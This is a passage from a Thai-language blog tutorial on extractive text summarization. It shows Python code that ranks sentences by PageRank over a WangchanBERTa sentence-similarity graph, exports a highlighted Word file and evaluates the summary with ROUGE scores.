&#xE02;&#xE32;&#xE2D;&#xE2D;&#xE01;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 0 &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32; Weight &#xE1A;&#xE19; Link &#xE08;&#xE32;&#xE01; A &#xE44;&#xE1B; B &#xE41;&#xE25;&#xE30;&#xE08;&#xE32;&#xE01; A &#xE44;&#xE1B; C &#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 1 &#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE19; &#xE08;&#xE36;&#xE07;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32; PR &#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE19;</p><ul><li>&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32; Weight &#xE1A;&#xE19; Link &#xE08;&#xE32;&#xE01; A &#xE44;&#xE1B; B &#xE41;&#xE25;&#xE30;&#xE08;&#xE32;&#xE01; A &#xE44;&#xE1B; C &#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 0.5</li></ul><pre><code>D.add_weighted_edges_from([(&apos;A&apos;,&apos;B&apos;,0.5),(&apos;A&apos;,&apos;C&apos;,0.5)])

nx.to_numpy_array(D)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-00.09.18.png" class="kg-image" alt loading="lazy" width="1702" height="138" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-00.09.18.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-00.09.18.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-20-at-00.09.18.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-00.09.18.png 1702w" sizes="(min-width: 720px) 720px"></figure><pre><code>nx.pagerank(D)</code></pre><p>{&apos;A&apos;: 0.25974050510584634, &apos;B&apos;: 0.37012974744707666, &apos;C&apos;: 0.37012974744707666}</p><p>&#xE41;&#xE21;&#xE49;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE04;&#xE48;&#xE32; Weight &#xE1A;&#xE19; Link &#xE08;&#xE32;&#xE01; A &#xE44;&#xE1B; B &#xE41;&#xE25;&#xE30;&#xE08;&#xE32;&#xE01; A &#xE44;&#xE1B; C &#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 0.5 &#xE41;&#xE15;&#xE48;&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE04;&#xE48;&#xE32; Weight &#xE1A;&#xE19; Link &#xE17;&#xE31;&#xE49;&#xE07; 2 &#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE19;&#xE08;&#xE36;&#xE07;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32; PR &#xE40;&#xE17;&#xE48;&#xE32;&#xE40;&#xE14;&#xE34;&#xE21;&#xE04;&#xE23;&#xE31;&#xE1A;</p><ul><li>&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32; Weight &#xE1A;&#xE19; Link &#xE08;&#xE32;&#xE01; A &#xE44;&#xE1B; C &#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 1</li></ul><pre><code>D[&apos;A&apos;][&apos;C&apos;][&apos;weight&apos;]=1

nx.to_numpy_array(D)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-00.10.44.png" class="kg-image" alt loading="lazy" width="1640" height="132" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-00.10.44.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-00.10.44.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-20-at-00.10.44.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-00.10.44.png 1640w" sizes="(min-width: 720px) 720px"></figure><pre><code>nx.pagerank(D)</code></pre><p>{&apos;A&apos;: 0.25974050510584634, &apos;B&apos;: 0.3333333333333332, &apos;C&apos;: 0.40692616156082007}</p><p>&#xE41;&#xE15;&#xE48;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE04;&#xE48;&#xE32; Weight &#xE1A;&#xE19; Link &#xE08;&#xE32;&#xE01; A &#xE44;&#xE1B; C &#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 1 &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;&#xE04;&#xE48;&#xE32; Weight &#xE1A;&#xE19; Link &#xE08;&#xE32;&#xE01; A &#xE44;&#xE1B; B &#xE04;&#xE48;&#xE32; PR &#xE17;&#xE35;&#xE48; Web Page C &#xE08;&#xE36;&#xE07;&#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;&#xE04;&#xE48;&#xE32; PR &#xE17;&#xE35;&#xE48; Web Page B</p><ul><li>&#xE43;&#xE0A;&#xE49;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19; <strong>pagerank()</strong> &#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE04;&#xE48;&#xE32; PR &#xE02;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE43;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE08;&#xE32;&#xE01; Sentence Similarity Graph</li></ul><pre><code>pos = nx.spring_layout(sentence_similarity_graph, seed=999)

scores = nx.pagerank(sentence_similarity_graph)

scores</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-08.26.19.png" class="kg-image" alt loading="lazy" width="1510" height="1000" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-08.26.19.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-08.26.19.png 1000w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-08.26.19.png 1510w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE02;&#xE22;&#xE32;&#xE22;&#xE04;&#xE48;&#xE32; PR &#xE02;&#xE2D;&#xE07; Node &#xE43;&#xE19;&#xE01;&#xE23;&#xE32;&#xE1F; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49; Plot &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27; Plot &#xE01;&#xE23;&#xE32;&#xE1F;</li></ul><pre><code>size = [v * 20000 for v in scores.values()]

nx.draw(sentence_similarity_graph,
        pos=pos,
        node_color=&apos;#f86e00&apos;,
        edge_color=&apos;blue&apos;,
        with_labels=True,
        width=1,
        node_size=size)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Unknown-8.png" class="kg-image" alt loading="lazy" width="446" height="302"></figure><ul><li>&#xE08;&#xE31;&#xE1A;&#xE04;&#xE39;&#xE48;&#xE04;&#xE48;&#xE32; PR &#xE41;&#xE25;&#xE30;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE43;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23; &#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE23;&#xE35;&#xE22;&#xE07;&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE08;&#xE32;&#xE01;&#xE04;&#xE48;&#xE32; PR &#xE21;&#xE32;&#xE01;&#xE44;&#xE1B;&#xE19;&#xE49;&#xE2D;&#xE22;</li></ul><pre><code>ranked_sentence = sorted(((scores[i],s) for i, s in enumerate(sentences)), reverse=True)    

ranked_sentence</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-08.32.31.png" class="kg-image" alt loading="lazy" width="2000" height="667" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-08.32.31.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-08.32.31.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-20-at-08.32.31.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2022/10/Screenshot-2565-10-20-at-08.32.31.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE41;&#xE2A;&#xE14;&#xE07;&#xE04;&#xE48;&#xE32; PR &#xE17;&#xE35;&#xE48;&#xE21;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;</li></ul><pre><code>ranked_sentence[0][0]</code></pre><p>0.016216306503214054</p><ul><li>&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE43;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32; PR &#xE21;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;</li></ul><pre><code>ranked_sentence[0][1]</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-08.33.26.png" class="kg-image" alt loading="lazy" width="2000" height="58" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-08.33.26.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-08.33.26.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-20-at-08.33.26.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2022/10/Screenshot-2565-10-20-at-08.33.26.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE2B;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04; 20% &#xE02;&#xE2D;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE44;&#xE2E;&#xE44;&#xE25;&#xE17;&#xE4C;</li></ul><p>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE19;&#xE35;&#xE49; &#xE40;&#xE23;&#xE32;&#xE15;&#xE31;&#xE49;&#xE07;&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE10;&#xE32;&#xE19;&#xE27;&#xE48;&#xE32;&#xE43;&#xE08;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE19;&#xE48;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35;&#xE2A;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE27;&#xE19; 20% &#xE02;&#xE2D;&#xE07;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;</p><pre><code>top_n = round(sentence_size*0.2)

top_n</code></pre><p>15</p><ul><li>&#xE23;&#xE27;&#xE1A;&#xE23;&#xE27;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04; 20% &#xE02;&#xE2D;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32; PR &#xE21;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE33;&#xE21;&#xE32; Print</li></ul><pre><code>sum_text = &apos;&apos;
for i in range(top_n):
  sum_text = sum_text + &apos;\n&apos; + ranked_sentence[i][1]</code></pre><ul><li>&#xE23;&#xE27;&#xE1A;&#xE23;&#xE27;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04; 20% &#xE02;&#xE2D;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32; PR &#xE21;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE33;&#xE44;&#xE1B;&#xE44;&#xE2E;&#xE44;&#xE25;&#xE17;&#xE4C; &#xE41;&#xE25;&#xE30;&#xE27;&#xE31;&#xE14;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;</li></ul><pre><code>sum_list = []
for i in range(top_n):
  sum_list.append(ranked_sentence[i][1])</code></pre><ul><li>&#xE23;&#xE27;&#xE1A;&#xE23;&#xE27;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE33;&#xE21;&#xE32; Print</li></ul><pre><code>original_text = &apos;&apos;
for st in sentences:
  original_text = original_text + &apos;\n&apos; + st</code></pre><ul><li>&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE44;&#xE2E;&#xE44;&#xE25;&#xE17;&#xE4C;</li></ul><pre><code>print(&apos;\nSummarize Text: \n&apos;, sum_text)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-08.35.47.png" class="kg-image" alt loading="lazy" width="2000" height="426" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-08.35.47.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-08.35.47.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-20-at-08.35.47.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2022/10/Screenshot-2565-10-20-at-08.35.47.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;</li></ul><pre><code>print(&apos;\nOriginal Text: \n&apos;, original_text)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-08.36.27.png" class="kg-image" alt loading="lazy" width="2000" height="600" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-08.36.27.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-08.36.27.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-20-at-08.36.27.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2022/10/Screenshot-2565-10-20-at-08.36.27.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE44;&#xE2E;&#xE44;&#xE25;&#xE17;&#xE4C;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE43;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE41;&#xE25;&#xE30; Save</li></ul><pre><code>doc = docx.Document()
  
doc.add_heading(&apos;Summarize Text&apos;, 0)

para = doc.add_paragraph(&apos;&apos;&apos;\n&apos;&apos;&apos;)

for st in sentences:
  if st.strip() in sum_list:
    para.add_run(st+&apos;\n&apos;).font.highlight_color = WD_COLOR_INDEX.YELLOW
  else:
    para.add_run(st+&apos;\n&apos;)

doc.save(&apos;summarize.docx&apos;)</code></pre><p>&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE44;&#xE1F;&#xE25;&#xE4C; summarize.docx &#xE43;&#xE2B;&#xE49; Download &#xE21;&#xE32;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE14;&#xE39;&#xE14;&#xE49;&#xE27;&#xE22; Microsoft Word</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-08.37.59.png" class="kg-image" alt loading="lazy" width="2000" height="703" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-08.37.59.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-08.37.59.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-20-at-08.37.59.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2022/10/Screenshot-2565-10-20-at-08.37.59.png 2400w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-11-at-15.29.48-1.png" class="kg-image" alt loading="lazy" width="2000" height="1554" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-11-at-15.29.48-1.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-11-at-15.29.48-1.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-11-at-15.29.48-1.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-11-at-15.29.48-1.png 2000w" sizes="(min-width: 720px) 720px"></figure><p><strong><a href="https://aclanthology.org/W04-1013.pdf?ref=blog.pjjop.org">Rouge</a></strong> &#xE04;&#xE37;&#xE2D; Metric &#xE15;&#xE31;&#xE27;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE27;&#xE31;&#xE14;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Text Summarization &#xE02;&#xE2D;&#xE07; Model &#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Text Summarization &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE19; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE27;&#xE31;&#xE14;&#xE08;&#xE30;&#xE19;&#xE31;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE17;&#xE35;&#xE48;&#xE17;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE19;&#xE41;&#xE1A;&#xE1A; <strong>N-gram</strong> (Rouge1, Rouge2) &#xE41;&#xE25;&#xE30;&#xE41;&#xE1A;&#xE1A; <strong>Longest Common Subsequence</strong> (RougeL) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32; Rouge &#xE2A;&#xE39;&#xE07; &#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07; Model &#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35; (&#xE04;&#xE48;&#xE32;&#xE21;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07; Rouge &#xE08;&#xE30;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 1.0)</p><ul><li>&#xE19;&#xE34;&#xE22;&#xE32;&#xE21;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19; evaluate_summary()</li></ul><pre><code>def evaluate_summary(y_test, predicted):    
   rouge_score = rouge.Rouge()    
   scores = rouge_score.get_scores(y_test, predicted, avg=True)       
   score_1 = round(scores[&apos;rouge-1&apos;][&apos;f&apos;], 2)    
   score_2 = round(scores[&apos;rouge-2&apos;][&apos;f&apos;], 2)    
   score_L = round(scores[&apos;rouge-l&apos;][&apos;f&apos;], 2)    
   print(&apos;Rouge1:&apos;, score_1)
   print(&apos;Rouge2:&apos;, score_2)
   print(&apos;RougeL:&apos;, score_L)
   print(&apos;Avg Rouge:&apos;, round(np.mean([score_1, score_2, score_L]), 2))</code></pre><ul><li>Dowload &#xE1C;&#xE25;&#xE40;&#xE09;&#xE25;&#xE22;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Text Summarization &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE19;&#xE08;&#xE32;&#xE01; <a href="https://drive.google.com/drive/folders/1emLxKNvBfi6AO2A_aocGWgf--6RTmlcm?usp=sharing&amp;ref=blog.pjjop.org">Text Summarization Dataset</a></li><li>&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xE41;&#xE1A;&#xE48;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19; splitlines() &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE25;&#xE07;&#xE43;&#xE19; List &#xE41;&#xE25;&#xE49;&#xE27; Remove Space Character &#xE17;&#xE35;&#xE48;&#xE15;&#xE2D;&#xE19;&#xE15;&#xE49;&#xE19;&#xE41;&#xE25;&#xE30;&#xE17;&#xE49;&#xE32;&#xE22;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;</li></ul><pre><code>file_name = &apos;human_summarie.txt&apos;

with open(file_name, &apos;r&apos;) as file:
    human_summarie = file.read().splitlines()    

human_summarie = [s.strip() for s in human_summarie]

len(human_summarie)</code></pre><p>16</p><ul><li>&#xE15;&#xE31;&#xE14;&#xE04;&#xE33;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE31;&#xE27;&#xE15;&#xE31;&#xE14;&#xE04;&#xE33;&#xE41;&#xE1A;&#xE1A; Longest matching &#xE08;&#xE32;&#xE01; Library PyThaiNLP</li></ul><pre><code>def tokenizer(st_list):
  words = []

  for s in st_list:
      w = word_tokenize(s)
      w = [temp for temp in w if temp != &apos; &apos;]

      if w != []:
        words.append(&apos; &apos;.join(w).lower())

  return words</code></pre><pre><code>human_summarie_word = tokenizer(human_summarie)
sum_list_word = tokenizer(sum_list)

test = &apos; &apos;.join(human_summarie_word)
predicted = &apos; &apos;.join(sum_list_word)</code></pre><pre><code>test</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-12.44.29.png" class="kg-image" alt loading="lazy" width="2000" height="173" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-12.44.29.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-12.44.29.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-20-at-12.44.29.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2022/10/Screenshot-2565-10-20-at-12.44.29.png 2400w" sizes="(min-width: 720px) 720px"></figure><pre><code>predicted</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-12.45.06.png" class="kg-image" alt loading="lazy" width="2000" height="166" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-12.45.06.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-12.45.06.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-20-at-12.45.06.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2022/10/Screenshot-2565-10-20-at-12.45.06.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19; evaluate_summary()</li></ul><pre><code>evaluate_summary(test, predicted)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-11.31.03.png" class="kg-image" alt loading="lazy" width="2000" height="153" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-20-at-11.31.03.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-20-at-11.31.03.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-20-at-11.31.03.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-20-at-11.31.03.png 2242w" sizes="(min-width: 720px) 720px"></figure><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Text Summarization &#xE41;&#xE1A;&#xE1A; Extraction-based &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE14;&#xE49;&#xE43;&#xE08;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE02;&#xE2D;&#xE07;&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22; &#xE40;&#xE23;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE23;&#xE32;&#xE1F;&#xE02;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE08;&#xE32;&#xE01;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE41;&#xE17;&#xE19;&#xE04;&#xE48;&#xE32; Weight &#xE1A;&#xE19;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE48;&#xE32; Sentence Similarity &#xE17;&#xE35;&#xE48;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE21;&#xE32;&#xE08;&#xE32;&#xE01; Sentence Vector &#xE02;&#xE19;&#xE32;&#xE14; 768 Dimension &#xE08;&#xE32;&#xE01; Output &#xE02;&#xE2D;&#xE07; Wangchanberta Model &#xE41;&#xE25;&#xE49;&#xE27;&#xE08;&#xE36;&#xE07;&#xE2B;&#xE32;&#xE04;&#xE48;&#xE32; PageRank (PR) &#xE08;&#xE32;&#xE01;&#xE01;&#xE23;&#xE32;&#xE1F; &#xE14;&#xE49;&#xE27;&#xE22;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE02;&#xE2D;&#xE07; NetworkX Library &#xE42;&#xE14;&#xE22;&#xE40;&#xE23;&#xE32;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32; PR 